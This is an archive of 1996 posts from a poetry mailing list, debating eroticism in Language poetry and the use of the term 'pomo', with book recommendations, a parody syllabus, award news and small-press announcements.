The discussion on LANGUAGE poets and the quotidian began when someone on the list reported having been challenged to show that LANGUAGE writers have addressed the quotidian. While I am not hostile to LANGUAGE poetry, and count some poets associated with it among my personal favorites, I do have a similar question. I wonder about erotics. Assuming Leslie Scalapino is not considered a LANGUAGE poet -- and I don't see her as so in any narrow sense -- have any so-called LANGUAGE poets worked with the erotic? Do the suppositions of most LANGUAGE poetry, summarized by Douglas Messerli in his introduction to LANGUAGE POETRIES (New Directions), make eroticism a difficult area of life to address? Does the seeming lack of eroticism point to a limitation in the LANGUAGE project?

I'm asking these questions in a friendly spirit simply because I am curious.

Best,

Jeff

↑ Index

267. **Hank Lazer**
Re: e=r=o=t=i=c
Fri 9 Feb 1996

And:

Ron Silliman's work, almost everything, especially _Ketjak_ and _Tjanting_. Lyn Hejinian's many books....

Hank Lazer

↑ Index

268. **Jordan Davis**
e=r=o=e=t=c
Fri 9 Feb 1996

Does Alan Davies count?
I think the book is called _RAVE_
and I think it has some poems like "Combat Zone"
that although not sadistic take maybe a structural or combinatorial look
at eroticism that may remind one of

oh and George Tysh's book _ECHOLALIA_
again I'm not sure he's a card-carrying langpote

C Coolidge has quite a bit of
something in _MESH_ and _THE BOOK OF DURING_

bibliographically yrs,
Jordan

↑ Index

269. **Joe Amato**
Re: not a dickwad
Fri 9 Feb 1996

---

emily, i appreciate your sense of activism, of doing more than simply talking, however activist talk can be... what i'm wondering about is this: whether there are in fact folks who would reach into their pockets *before* changing their language practices, even *rather than* changing their language practices?... if there are such folks, and i have a hunch there are, what might be made of this?...

joe

↑ Index

270. Charles Bernstein
Poetics of the Extraordinary (fwd)
Fri 9 Feb 1996

The following syllabus was forwarded to Poetics from a nonsubscriber.

---------- Forwarded message ----------
Date: Sat, 03 Feb 1996 22:12:55 -0500 (EST)
From: Drenka Balich
Subject: Poetics of the Extraordinary

[forward message]

> *Poetics Syllabus*
> *Intersession 1999*
> *A Ten-Week Intensive*
>
> *_THE EXTRAORDINARY_*
>
> *English 747*
> *Wednesdays @ 4:00 A.M. Plus*
> *Java Temple*
> *Drenka Balich, instructor*
>
> "*I woke in your room*
> *I looked into your eyes*
> *I have been silent these many years awaiting this*
> *moment to speak*
> *Of the bitter frustration I shed upon hearing of*
> *the loss of the use*
> *Of both of your legs in the accident which also*
> *claimed the lives*
> *Of both of your parents and your older sister*
> *Who I have been given to understand*
> *was a great lay*"
>
> *--Jim Brodey*
>
> **
>
> *Week One: Critique of the Ordinary (Part I: Practice)*
>
> *DeBord, Society of the Bystander*
> *Vaneigem, The Revolution of Everyday Life*
> *Situationist Anthology*
> *Kathy Acker, Blood and Guts in Graduate School*
> *Greil Marcus, Lipstick Traces*
> *Hakim Bey, T.A.Z.*

Week Two: Critique of the Ordinary (Part II: Theory)

Charles Olson, The Calyx of the Flower
Amiri Baraka, The Autobiography of LeRoi Jones
Diane Di Prima, Memoirs of a Beatnik
Nicole Brossard, The Sea Our Mothers
Joanne Kyger, The Dharma Committee and Japan-India Journals
Jim Brodey, Blues for the Egyptian Kings and Judyism
Stephen Rodefer, Letters from Prison

Weeks Three/Four: The Exoteric

Jacques Derrida, Circumfession and Algerian Meditations
Nathaniel Mackey, Bedouin Hornbook, Djbot Baghoustis's Run and School of Udrah
Nathalie Sarraute, Tropisms
Robert Duncan, Collected Prose (Fascicle Edition, vols. 1-4) and Ground Work III: Beyond Europe
Rene Girard, The Martyrology
Julie Dash, Daughters of the Dust
'AQL magazine (issues 1-4)
Eileen Corder, Braids
Halliday Dresser, Bird's Nest (For John Clare)
Jeff Gburek Packet
Pasolini, Collected Poems in Friulan Dialect
Pat Reed, Kismet and We Want to See Your Tears Falling Down

Weeks Five/Six: Dictation (James Merrill visit--by Ouija board)

Merrill, The Changing Light at Sandovar
Patience Worth Packet
Rilke, Sonnets to Orpheus and Duino Elegies
Yeats, A Vision
H.D., Tribute to Freud and Trilogy
Spicer, Collected Books and Vancouver Lecture
Hannah Weiner, Clairvoyent Journal
John Wieners, Margins of Poetry
D'Annunzio, Notturno
Emerson, "Demonology"
Foucault, Dream Imagination Existence
Avital Ronnell, Dictations (On Haunted Writing)

Week Seven: Historical Crisis (After Tet)

Michael Herr, Dispatches
Gloria Emerson, Winners and Losers
W.D. Ehrhart, Passing Time
Horace Coleman, In the Grass
Saigon Ice Tea: An Anthology
Alice Notley, Homer's Art
George Evans, Selected Poems
*Bruce Andrews, I Don't Have a Computer So Shut the F*ck Up (or, Social Chromaticism)*
William Shawcross, Sideshow
Kali Tal, Worlds of Hurt
Baudrillard, The Original Pop Politics

Week Eight/Nine: Fuck Me and Die

Sade, Justine and Philosophy in the Bedroom
Francesca Cicchetto, Rognoni Sadiani
Samuel Delany, The Mad Man
Camille Paglia, The Electric Spanking of War Babies
Abby C., 666 Ways We Are All Like St. Therese
Carla Harryman, Animal Instincts
Swinburne, The Little Death
Malamud, God's Grace
Deleuze and Guattari, Anti-Oedipus
The Packwood Report
Carolee Schneeman, More Than Meat Joy and movies

Week Ten: Gnostic Invasion

Philip K. Dick, Valis Trilogy
-----, Selected Literary and Philosophical Writings
John Clarke, In the Analogy (Books 1-7)
Juliana Spahr, Testimony
Joanna Russ, The Female Man
The Nag Hammadi Library
G.R.S. Mead, Thrice Greatest Hermes
Octavia Butler, Xenogenesis Trilogy
Robert Anton Wilson, Illuminatus Trilogy
Pierre Joris, Winnetou Old
Conversations with Ogotemmeli
Peter Kolosimo, Terra Senza Tempo

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271. Emily Lloyd
Re: not a dickwad
Fri 9 Feb 1996

At 01:44 PM 2/9/96 -0600, Joe Amato wrote:
>emily, i appreciate your sense of activism, of doing more than simply
>talking, however activist talk can be... what i'm wondering about is this:
>whether there are in fact folks who would reach into their pockets *before*
>changing their language practices, even *rather than* changing their
>language practices?... if there are such folks, and i have a hunch there
>are, what might be made of this?...
>
>joe
>
>

Of course there are such folks. & I can't say I agree with their idea of "help" or activism, but I'm not sure that what they're doing isn't more useful---in the short term---than merely examining the language. The fact that "pomo" also denotes postmodernism won't mean much if Pomos aren't around to know it. Having long been involved in both academics & activism, I've become increasingly bothered by my observation that they rarely seem to meet at a point conducive to practical action...so the Pomo discussion, esp. considering how heated it was getting, triggered an ancient angst. Just a little wary of impotent paternalism...clean hands at the keyboard & elsewhere. The folks you envision would seem to be the lesser of 2 evils. To me. Where priorities & immediacies are concerned.

whitely, middleclassily, guiltily yers,

emily

↑ Index

272. Rae Armantrout
Re: poetics of quotidian
Fri 9 Feb 1996

To respond to Jeff's question briefly, it seems to me that Carla Harryman and Ron Silliman's work (just for starters) is very much engaged with the erotic.

Rae A

↑ Index

273. Joe Amato
Re: poetics of quotidian
Fri 9 Feb 1996

wrt this question of, uhm, ordinary poetics, i'd like also to mention andy levy's extraordinary "from indiana," in _values chauffeur you_ (o books, 1990)...

joe

↑ Index

274. Douglas Messerli
Re: poetics of quotidian
Fri 9 Feb 1996

I might add that my own poetry (Douglas Messerli's) is very much about the erotic, particularly the trilogy, THE STRUCTURE OF DESTRUCTION.

Douglas Messerli

At 04:13 PM 2/9/96 -0500, you wrote:
>To respond to Jeff's question briefly, it seems to me that Carla Harryman and
>Ron Silliman's work (just for starters) is very much engaged with the erotic.
>
> Rae A
>

↑ Index

275. Eryque Gleason
Re: Stein
Fri 9 Feb 1996

> *Does anyone know any good stuff on Stein's composing process for *Tender Buttons*--sequence of writing, how long it took, amount of revision, that sort of thing?*
>
> *Thanks. Back-channel is fine, or front- if you think this might be of general interest to the list.*

even if it ain't of general interest to the list, i'm interested too.

eryque

↑ Index

276. Ray Davis
Re: e=r=o=t=i=c
Fri 9 Feb 1996

Well, "Language Poets" sometimes seem easiest to define as those sprigs who shot from Getrude Stein rather than T. S. Eliot or Ezra Pound. Now who's the most erotic of those three grannies?

Carla Harryman & Lyn Hejinian's ongoing collaboration is the stuff of laughing orgasms. Ron Silliman's "Sunset Debris" is better than any of the Super-8 Triple-X I've seen. Gracious heavens, I even find Susan Howe's work erotic in a way (fingertips carefully positioning the physical to achieve maximal emotional weight) -- but my libido is probably not yours.

Ray

↑ Index

277. Marisa Januzzi
Williams flowerboy
Fri 9 Feb 1996

Hello everyone

and sorry to go on a fishing expedition in the middle of such engrossing threads

does anyone happen to know any background information/good stories about that insanely great picture of William Carlos Williams on the cover of the New Directions _Selected_? you know the one-- where he appears to be grinning from the heart of a flowering tree, unselfconsciously.

i just got a very smart essay by an MA student on Williams and pastoral, and it got me wondering if there's anything on record anywhere about it.

Thanks! With Enryque I vote "front channel" on any stein stuff, too.

carry on---- x Marisa

↑ Index

278. Emily Lloyd
Re: Stein
Fri 9 Feb 1996

At 01:32 PM 2/9/96 EST, Alan Golding wrote:
>Associate Professor of English, U. of Louisville
>Phone: [redacted]; e-mail: [redacted]
>
>Does anyone know any good stuff on Stein's composing process for *Tender

>Buttons*--sequence of writing, how long it took, amount of revision, that sort
>of thing?
>
>Thanks. Back-channel is fine, or front- if you think this might be of general
>interest to the list.
>
>Alan

There's a book called *A Primer for the Gradual Understanding of Gertrude Stein*, by, I'm pretty sure, Gertrude Stein, in which she talks some about revision in *Tender Buttons*. ("PEELED PENCIL, CHOKE" was originally a much longer piece, etc.) I skimmed it a couple of years ago & am not sure if it addresses your other questions, but it might be worth taking a look at. "How long it took" can probably be found somewhere in *Autobio of Alice B T*.

emily

↑ Index

279. Gabrielle Welford
Re: POET'S BIRTHDAYS
Fri 9 Feb 1996

11-24-86, born Annie Elfing, now reads at local open mike readings. She writes the poems on the way there in the car, reads the poems with great flair, playing to the audience. Gab.

↑ Index

280. Joe Amato
Re: not a dickwad
Fri 9 Feb 1996

---

emily, i really do see your point... i just don't want the question of language use to be relegated to a mereness of some sort... part of what went on generally while native americans were being slaughtered etc is that english was used to facilitate the invisibility of same... not simply of course terminology, but whole "structures of feeling" through language, to use raymond williams' term... ultimately i *am* less interested in the words pomo/Pomo than in what happens to the people, but what happens to the people is in many ways a function of linguistic obliteration...

best,

joe

↑ Index

281. **Emily Lloyd**
Re: Ppoommoo
Fri 9 Feb 1996

At 06:15 PM 2/9/96 -0600, Joe Amato wrote:
>emily, i really do see your point... i just don't want the question of
>language use to be relegated to a mereness of some sort... part of what
>went on generally while native americans were being slaughtered etc is that
>english was used to facilitate the invisibility of same... not simply of
>course terminology, but whole "structures of feeling" through language, to
>use raymond williams' term... ultimately i *am* less interested in the
>words pomo/Pomo than in what happens to the people, but what happens to
the
>people is in many ways a function of linguistic obliteration...
>
>best,
>
>joe

Ah, I meant mere in the sense of "merely doing this & nothing else," not "doing this mere thing." Not only do I see your point, I share it--while at the same time thinking it compatible w/my earlier posts.

peace,

emily

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282. **Joshua N Schuster**
Re: e=r=o=t=i=c
Fri 9 Feb 1996

I'm trying to apply for a minature undergrad. grant to research the subject of eroticism. Applying a small piece of a Bernarnd Tschumi manifesto, claiming "Border crossing is erotic" (he's an architect who has prosed that perhaps all architecture, rather than being about functional standards, is about love and death), I was hoping to trace an erotic "border crossing" thru a modernist-postmod lineage. I'm tempted to tease out a kind of progression from heroic-erotic to semiotic-erotic (ugh, probably too "sexy" terms), which fundamentally avoids commidification as pornography. As well, describe how eroticism became an exemplary mode of individualistic radicalism (transgression) distraught and disillusioned w/ party-line collective radicalism which tends to shun the body.

I'm probably over-speculating and hedging gender-specific implications, as well as some "sex-specific" opportunities once suggested by Lyn Hejinian. Somewhere (anyone know where?) I've heard Barrett Watten suggested language writing is an example of "new eroticism" which I'd like to debrief. I also think there is a somewhat painful eroticism in Bruce Andrews' work. Ultimately, I want to claim that eroticism (or "new eroticism"--one not literal but still predicated on border crossing) is a valid form of scholarship--alas, another methodology!

If any one knows of good sources/theories/practices for this topic, please post or let me know. I'm approaching the prospects of obtaining the grant rather grimly; the review board wants "original research" which often means use test-tubes or public polls.

Any suggestions? anways, carry on.

-Joshua

↑ Index

283. megan blair simpson
Re: poetics of quotidian/erotics
Fri 9 Feb 1996

Just a quick response to Jeff Hansen's question about language writing and erotics: I've just been reading Lyn Hejinian's and Carla Harryman's collaborative work *The Wide Road* which would be a great place to start. It's published in excerpts in 0/4, Avec, and a few other journals. An introductory comment in the excerpt in 0/4 begins with this statement: "Five years ago, in the course of a casual conversation, we found ourselves agreeing that, because language is active, anything in language could be erotically charged" And then also, "In recent years, the generative possibilities of the erotic imagination have been less often documented than the limitations of the alterity involved."

Wide Road is quite playful and often hilarious, as well as, in my opinion, incredibly interesting. It's written from the first person plural point of view--the work explores subjectivity and shared imagination and the erotic implications and freedoms that come with, in language, as language.

Megan Simpson

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284. Eryque Gleason
jeopardy
Fri 9 Feb 1996

---

crit theory since 1960 for $200:

he said something very much like: "those that claim not to use theory are merely ignorant of their own theories..."

i read it recently, and can't figure out where it was!

eryque (no n's served here) gleason

↑ Index

285. ryan johnson
Re: not a dickwad
Fri 9 Feb 1996

On Fri, 9 Feb 1996, Emily Lloyd wrote:

> While I see Maria's (and others) point, I also see Ryan's. But what really
> frustrates me about this discussion is that it's couched entirely in
> impractical space. Bringing out, it seems, the pompous intellectual in all
> of us. Who among ye has contacted Jim Brown (thanks to Jack for the
> address) and offered tangible support (powdered milk, pampers,
> what-have-you) to the Pomos? A people in lack of these is is probably not
> in the luxurious frame of mind necessary to sitting around arguing/caring
> that their phonemes refer to something else in a different context. While
> examining (and perhaps even changing) our use of language is important, it
> doesn't absolve us of deeper obligations. Put your money where there
mouths
> are.
>
> emily
>
I agree with this point and have already jotted the address/info. about
helping out, as soon as I scrape cash together; my point would simply
be--and this is to some extent implied by emily's--that both this
ostensibly encapsulated space of discourse and the real world of action
and compassion both matter very much to the issue.
Ryan

↑ Index

286. **Robert Drake**
poetiks & drama
Fri 9 Feb 1996

---

just got in the mail Leslie Scalapino's _The Weatherman Turns Himself In_ frm zasterle press, a lovely looking book that i'll try to dig into over the weekend. meanwhile it joins several other's in a stack:

Carla Harryman: MEMORY PLAY (O Books)
Camille Roy: COLD HEAVEN (O Books)
Stacy Doris KILDARE (Roof)

& somewhat less closely connected:

Doug Messerli ALONG WITHOUT (Littoral)
THE WALLS COME TRUE (Littoral)
Dennis Moritz SOMETHING TO HOLD ONTO (United Artists)

these being variously scripts, poems in play form, film treatments... or something. th ill-formed thot occurs that there might be some reasons fr th appearance of the dramatic format at _this_ time... can anyone suggest other relevent examples, or ideas as to if or why such might be useful now?

nb--this is not to claim that all these share more commonality than they do... the work _is_ various, & those differences praps as illuminating as the similars... also not to suggest that this is completely news, tho dramatic forms aren't often discussed in th same breath as poetic, as work such as Richard Foreman's might...

appreciated

luigi
taproot reviews/burning press/etc...
[redacted]

↑ Index

287. **Nick Lawrence**
Re: jeopardy
Fri 9 Feb 1996

> *crit theory since 1960 for $200:*
>
> *he said something very much like: "those that claim not to use theory are merely ignorant of their own theories..."*
>
> *i read it recently, and can't figure out where it was!*
>
> *eryque (no n's served here) gleason*

eryque,

who is Terry Eagleton? theorizing the beginning of his _Literary Theory_ ...

(contestant no. 2, unable to slam the buzzer: Who is Charles Bernstein? versifying the beginning of one of his essays/seminars/conversations ...)

(contestant no. 3, way behind in points: Who is Carla Harryman? sputtering thought's orgasm in "There is Nothing Like a Theory" ...)

I'll take poetics of the extraordinary for $400 (fingers crossed for the daily double ...)

Nick Lawrence (who, n-less, alas, becomes ick lawrence)

↑ Index

288. **ryan johnson**
Re: pomo/Pomo cont'd.
Sat 10 Feb 1996

On Fri, 9 Feb 1996, Joe Amato wrote:

> *ryan, i think i understand your use of wittgenstein, and find value in considering his remarks re language games... though i have to say that wittgenstein's stance in _phil invest_ is pretty fuzzy in many ways (i see the latter text primarily as a heuristic)... still it's possible that a pomo native would enter this list and not know what in hell we're talking about... sometimes *i* don't know what in hell we're talking about... and of the 375 subscribers here, it's a fair wager that a number never heard pomo used with *either* denotation...*

This, I also suspect to be the case, and it is precisely part of the point I was trying to make. I'd gathered that this whole issue began as a tangent on the problems that derive from language games or spaces of discourse getting blurred, and it seems to have become one in which issues of language and issues of social responsibility are getting blurred--not that they're ever all that distinct, just that two different things have been talked about, to me, as more similar than they are. On the other hand, they're not mutually exclusive subjects by any means, as others have noted; likewise, discussing this/these topics in the manner we have hardly precludes other modes of social activity, and can by no means by reduced to inflated academic jargonizing, as others have not noted.

> *and may i remind folks that there may be something like 1000 pomo natives (from what i've been able to ascertain), and that there may be something like a few thousand, if that many, folks on this planet who regularly use pomo as an abbrev. postmodern... so that the various poets and scholars and publishers on this list *could* make a very real difference, usage-wise...*

Okay, I'm *really* obviously just an insenstitive ass, I guess: the difference you mention is one that doen't need to be made, because a discrete difference in usage is already instantiated and understood. Though I have to say the concept of a few thousand poets and poeticists become some body of activists via email is without question intriguing.

> *(if i may) the problem is not philosophical... or, i'm choosing not to theorize it according to the dictates/nuances of that discipline, or of wittgenstein for that matter...*

And why are you making that choice? Aren't *all* problems philosophical? Is what you're calling "philosophical" discussion necessarily theoretical? I was actually convinced I'd stumbled upon something kind of practical.

there are times i long for a spiritual
> response to matters material, and vice versa... here it seems to me that
> what some of us have been asking for is some recognition of the possible
> material as well as spiritual damage in coining new terms, uhm,
> helter-skelter... that is, that we try to be as generous as possible in
> working out our semantic/pragmatic fields, the field of possibilities that
> we refer to as "discourse"...

I wholeheartedly agree, but I do not think that generosity is one of the foremst qualities of language, it's a human thing and making choices doesn't necessarily mean controlling consequences, on either side of the ball, don't you think. Makes me think of some tale I heard a few uears agoabout computers being described (in terms of compatibility) in sexual terms, the most common being androgenous> (Pardon the odd tangent.)

> i
mean, for me, generosity is a privilege, presumes certain
> responsibilities (recall that elite/elitist thread)... means we have to
> listen, closely... so, and not to sound in the least oracular about it, how
> to listen?...

And how to speak; both activities seem to me to be largely determined by systems or habits of both liberty (generosity?) and constraint (selfishness?).

Sorry if some of this sounds kind of crabby, just that I'm tired and just saw _Dead Man Walking_ tonight which is a pretty much okay movie, nothing astounding really except Penn but worth seeing for his work and more, but anyway the point at this point is that it's a helluva good movie for making you morose, depressed, or however else the nausea of morailty, personal and collective, may affect you.

Stomach on gut a la Sartre to all, and to all a good night, RYAN

> *also, and i s'pose this is in response to james perez's post, it's one thing to observe that there are "normal" greek, american, or turkish folks and quite another to suggest that the greek, american, or turkish governments have acted or continue to act in imperialist ways... one of the more obvious abuses of national 'sovereignity' of which i'm aware is the current greek-turkish dispute, underwrit as i see it by turkey's continued genocide of the kurds... it seems to me that turkey has been consistently in the wrong here, both wrt to the greeks, the kurds, and the cypriots... and consistently backed by *US* here in the u.s. (formally now) b/c of turkey's proximity to the middle east (incl. of course iraq)... and i see no harm in calling everybody's attention to turkish/u.s. hegemonies in this regard... though of course this ain't what i normally do here on poetics, so apologies for this wee bit of politicking...*
>
> *best,*
>
> *joe*

↑ Index

289. **Rod Smith**
Re: poetics of quotidian
Sat 10 Feb 1996

Re: sexy poetry

Stacy Doris' _Kildare_ from Roof is pretty hot. Andy Levy's _Curve_, especially the middle section, _The Myth of the Not Her Blood_, and I'll second on Coolidge's _Mesh_. Mr Stroffolino & Lee Ann Brown. Bernadette! Also, re Carla Hejinian & Lyn Harryman (they become interchangeable in this piece) -- "The Wide Road" -- 20 pages are to be found in _Aerial 5_, there's also some in _Resurgent: New Writing by Women_ ed. Robinson & Norton (U. Illonois Press), & some in George & Chris Tysh's magazine _Everyday Life_. Of course we're considering sexuality as explicit subject matter, rather than as a given, which seems to me most accurate. --Rod

↑ Index

290. **Ron Silliman**
Re: poetics of quotidian
Sat 10 Feb 1996

Geez, Jeff,

I think there's lots of eroticism in most all of my langpo friends. Carla Harryman and Lyn Hejinian's collaboration The Wide Road would be an obvious place to start, but Bob Perelman's early 11 Romantic Positions wouldn't be bad either

(tho it's a more fugitive work). I've been criticized for having _too much_ in my own writing. So your question puzzles me.

As to Leslie being a langpo or no, this is precisely where labels prove to be so foolish. At the time I was editing In the American Tree the fact that she was not (then) publishing in the same venues and that her work, to the degree that it shared similar concerns, struck me as an intense, if friendly, critique (much the same way I read Ted Pearson or Bev Dahlen or Jerry Estrin at the time, and really how I read many of the New Coast writers today). But over time critique becomes a form of involvement and boundaries blur considerably. That's why it makes more sense to call it a moment rather than a movement. Leslie's a brilliant writer, which is what matters.

Ron Silliman

↑ Index

291. Maria Damon
Re: e=r=o=t=i=c
Sat 10 Feb 1996

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joshua:
bataille, blanchot, leiris, genet, acker, duras, de sade, elizabeth smart, adrienne rich, etc., have all explored the erotic as a means of intellection.
 you might especially look at some ("sex-positive") feminist scholarship, which has been very taken with this issue.
maria d
(ps i'm talking at upenn on feb 16, wd be glad to meet you)--good luck w/ yr grant.
maria d

↑ Index

292. Douglas Messerli
The America Awards
Sat 10 Feb 1996

The 1995 America Awards (the "Ferns") have just been announced. Established in 1994, the awards are given each year to the most outstanding book of fiction, poetry, and belles-lettres and the most outstanding new play produced during the year. There is also an annual International award for a body of literary writing.

The Awards are primarily, but not exclusively, given for innovative American writing.

This past year's winners and the judges were:

FICTION: Swanny's Ways, by Steve Katz [Sun & Moon Press]
Judges: Will Alexander, David Bromige, Raymond Federman

POETRY: At Passages, by Michael Palmer [New Directions]
Judges: Clark Coolidge, Tina Darragh, Leslie Scalapino

DRAMA: "I've Got the Shakes," by Richard Foreman [The Ontological Theater at St. Mark's Church, New York]
Judges: Shelley Berc, David Greenspan, Suzan-Lori Parks

BELLES-LETTRES AND COLLECTIONS:

Selected Poems, by Barbara Guest [Sun & Moon Press]
Judges: Lydia Davis, Jackson Mac Low, Rosmarie Waldrop

INTERNATIONAL AWARD: Harold Pinter

In case you missed them, the 1994 award winners were:

FICTION: The Jounalist, by Harry Mathews [David Godine]
POETRY: Echoes, by Robert Creeley [New Directions]
42 Merzgedichte in Memoriam Kurt Schwitters, by Jackson Mac Low [Station Hill]
DRAMA: The Hyacinth Macaw, by Mac Wellman [Primary Stages, New York]
BELLES-LETTRES AND COLLECTIONS:
The Green Lake Is Awake: Selected Poems, by Joseph Ceravolo [Coffee House Press]
INTERNATIONAL AWARD: Aime Cesaire

The panels for 1996 are now beginnng to consider new work. Any publisher, large or small, may nominate books. Ask your publisher to send four (4) copies to The America Awards, c/o The Contemporary Arts Educational Project, Inc. 6026 Wilshire Boulevard, Los Angeles, CA 90036

These Awards are also listed at the Sun & Moon Press Website: www.sunmoon.com

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293. **Kevin Killian**
Re: e=r=o=t=i=c
Sat 10 Feb 1996

At 10:27 AM 2/10/96, Maria Damon wrote:

> *bataille, blanchot, leiris, genet, acker, duras, de sade, elizabeth smart,*

Maria,

What an amazing coincidence that you mention Elizabeth Smart, as she is the covergirl for this month's issue of Mirage #4/Period[ical], the zine that Kevin and I edit here in San Francisco.

A few years ago I was star-struck by Smart's legend, having read the passage in the Kenneth Rexroth biography by Linda Hamalian where Rexroth discovers Smart picnicing lavishly in San Francisco's Union Square, only to realize that she was homeless and pulling off a "Holly Golightly." Also, I was captivated by her romantic extravagance as delineated in the Smart biography by Rosemary Sullivan, how she read one of George Barker's poems in a bookstore and instantly fell head over heels in love with him--and subsequently arranged for him and his wife to come to Canada so she could begin her long-term, on and off, tormented affair with him. (Djuna Barnes was also in love with Barker--he must have been a really hot number--see the Philip Herring life of Djuna Barnes).

Although little known in the US, she is a guilty pleasure in Canada. When I was still flushed with reading all about Smart, but still hadn't located any of her writing, I happened to take a trip to Vancouver, where I was yacking about her non-stop. To my surprise, the women poets there did not share my enthusiasm, saw Smart as a bit of an embarassment--someone their mothers read. One of them gave me a battered paperback copy of _By Grand Central Station I Sat Down and Wept_ (1945). (And I feel like the most ungrateful person in the world, not being able to remember who gave me the book--Lisa, Catriona, Deanna, I love you all.)

So, when I go home, I immediately crawled into bed with _Grand Central Station_, expecting the read of my life. But what a shock was in store for me! Excess and self-indulgence are things I've never turned up my nose at, but in Smart's poetic novel, the mythologizing self is so large, not only is there hardly any room for the reader to enter it, but there certainly isn't any room for the plot. It's like trying to fight your way through a room crammed to capacity with helium balloons. Smart's book is certainly fascinating, but anybody who can get all the way through it should be given a medal.

But I definitely am glad she's there for us. I think it's totally appropriate to include her in a list with Bataille. We North American folks need our own Laure.

Dodie Bellamy

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294. **Kevin Killian**

SPT newsletter call for reviews

Sat 10 Feb 1996

This is Dodie Bellamy speaking (director of Small Press Traffic).

Now that most of the reviews for the March issue of the Small Press Traffic newsletter are in, and we are about to go into full-speed production, it seems time to begin gathering reviews for our May/June newsletter. This second newsletter will feature Hard Press, Kelsey St. Press, and O Books. We are seeking brief (200-300 word) reviews of books published by these presses. Due to space limitations, we will only be able to review 6 to 8 books per press. A list of books available to review follows. Please contact me if you are interested in reviewing any of these books (indicate if you need a review copy and give me your mailing address). Even if you don't need a review copy, please give me your mailing address so that I can send you copies of the newsletter.

Small Press Traffic, by the way, will be moving into New College of California in March. We will be located in their newest building at 741 Valencia Street, in San Francisco. We'll have an office there--and space for our new literary resource center. We'll also have use of New College facilities to hold events. Soon, I'll post more details about this new chapter in our history. Right now the only text I have on our latest reincarnation is written in grant-eze, and I'll spare you that.

Thanks for all the support the people on this list have given Small Press Traffic.

Dodie

HARD PRESS
Sam Messer, One Man By Himself: Portraits of Jon Serls
Jim Brodey, Heart of the Breath
Bernadette Mayer, The Desires Of Mothers To Please Others In Letters.
Lynn Crawford, Solow.
Albert Mobilio, The Geographics.
Coolidge, Gizzi, Yau, Barrette, and Coolidge, Lowell Connector:
Lines and Shots from Kerouac's Town.

KELSEY ST. PRESS
The Woman Without Experiences, Patricia Dienstfrey
Stripped Tales, Barbara Guest
The Rosy Medallions:Selected Work, Camille Roy
Distance Without Distance, Barbara Einzig
The View They Arrange, Dale Going
Just Whistle, C.D. Wright
Sphericity, Mei-mei Berssenbrugge

Isle, Rena Rosenwasser
Under Flag, Myung Mi Kim
Bed of lists, Elizabeth Robinson
Peculiar Motions, Rosmarie Waldrop
like roads, Laura Moriarty
Musicality, collaboration between poet, Barbara Guest and painter, June Felter
Small Salvations, Patricia Dienstfrey
Elephants & Angels, Rena Rosenwasser
Biting Sun, Thalia Kitrilakis
she talks to herself in the language of an educated woman, Frances Jaffer
Grammars for Jess & Twenty-Two Cropped Sets, Marina La Palma
Excavation, Alice Ryerson
Poem From a Single Pallet, Fanny Howe
The Celebrated Running Horse Messenger, Frances Phillips
Desert Flats, Rena Rosenwasser
Dreams in Harrison Railroad Park, Nellie Wong

O BOOKS
Return of the World, Todd Baron
Ground Air, Scott Bentley
A Certain Slant of Sunlight, Ted Berrigan
Talking in Tranquility: Interviews with Ted Berrigan, Ted Berrigan
Mob, Abigail Child
It Then, Danielle Collobert
Candor, Alan Davies
Rome, Jerry Estrin
Turn Left in Order to Go Right, Norman Fischer
Precisely the Point Being Made, Norman Fischer
Time Rations, Benjamin Friedlander
byt, William Fuller
The Sugar Borders, William Fuller
Phantom Anthems, Robert Grenier
What I Believe Transpiration/Transpiring Minnesota, Robert Grenier
The Inveterate Life, Jessica Grim
A Memory Play, Carla Harryman
The Quietist, Fanny Howe
Values Chauffeur You, Andrew Levy
Dreaming Close By, Rick London
Abjections, Rick London
Dissuasion Crowds the Slow Worker, Lori Lubeski
Close to Me and Closer ... (The Language of Heaven) and Desamere, Alice Notley

Catenary Odes, Ted Pearson
Collision Center, Randall Pott
(where late the sweet) BIRDS SANG, Stephen Ratcliffe
Visible Shivers, Tom Raworth
Kismet, Pat Reed
Cold Heaven, Camille Roy
Crowd and not evening or light, Leslie Scalapino
The India Book: Essays and Translations, Andrew Schelling
A's Dream, Aaron Shurin
In Memory of My Theories, Rod Smith
The Disparities, Rodrigo Toscano
Picture of The Picture of The Image in The Glass, Craig Watson

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295. **Maria Damon**
Re: smart
Sat 10 Feb 1996

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hi dodie, i came to eliizabeth smart just the other way around; at eighteen (1973), i pulled it off a bookshelf in Shakespeare & CO, in Paris, intrigued by the title. when i read it i couldn't believe anybody had my number so intimately. i was blown away (don't forget i wuz 18). tho i wouldn;t use the terms then, i'd say she came closest to "writing the body" of anyone i hve read before or since, except maybe genet. i knew nothing of her life story, or of her. for years, no one could tell me anything about her. then when she was rediscovered by Canadian fem lit crit folks and subseuqntly Grand Central was reprinted, i learned of this autobiographical element. i still love her use of language. i teach it every year or two, and students either love or hate it, but nowadays they get all caught up in the biographical aspect of it. i had one smart u-grad write a paper entitled "narrative grandiosity in Grand Central Station..." --the paper wasn't as great as the title/ best, maria d

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296. **Janet Hoelle**
Re: e=r=o=t=i=c
Sat 10 Feb 1996

I took a class last year, entitled "The Erotics of Reading;" a very ecclectic and unusual mix of works; Balzac's "Sarrasine", Pauline Reage's "The Story of O," Oscar Wilde's "Salome," "The Ego and The Id" by Freud, Jeannette Winterson's "Written on the body," Foucault's "History of Sexuality," Gabriel Garcia Marquez's "Love in the Time of Cholera," and "The Pleasure of the Text," by

Roland Barthes. Hence, we studied eroticism from a theoretical, historical perspective, examining the ways in which sexuality has been repressed, or in Foucault's proposal, actually inverted and re-arranged in order to be incorporated into discourse and also the ways erotica has been represented in literature. We also examined the ways in which language acts as a catalyst for erotic expression. The erotic, though a nebulous term, was, I thought, epitomized in Wilde's work, as both form and content expressed the erotic; the lusciousness of the language and the erotica of the content. Other erotic literature that comes to mind: Whitman's "Song of Myself," Kate Chopin's "The Awakening," which were, by the way compared in an essay by Harold Bloom, and to go way back: many of SAPPHO'S poems, and one of my favorites THE SONG OF SONGS in the Old Testament, or The Greatest of Songs, as the actual translation goes.

NICOLE HOELLE

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297. Ryan Knighton
Announcing TADs
Sat 10 Feb 1996

This is to announce the completion and availability of the first issue of _TADs_. This issue features new poetry and prose by:

George Stanley
Thea Bowering
Jamie Reid
Mark Nakada
Jennifer Conroy
George Bowering
Jim Quilty
Ryan Knighton
Dolibor Krnetic
Reg Johanson
Chris Turnbull

Copies are $4 each.

Requests and queries can be forwarded to:

Reg Johanson
Dept of English
Simon Fraser University
Burnaby, B.C. Canada
V5A 1S6

or queries can be emailed to me at [redacted]

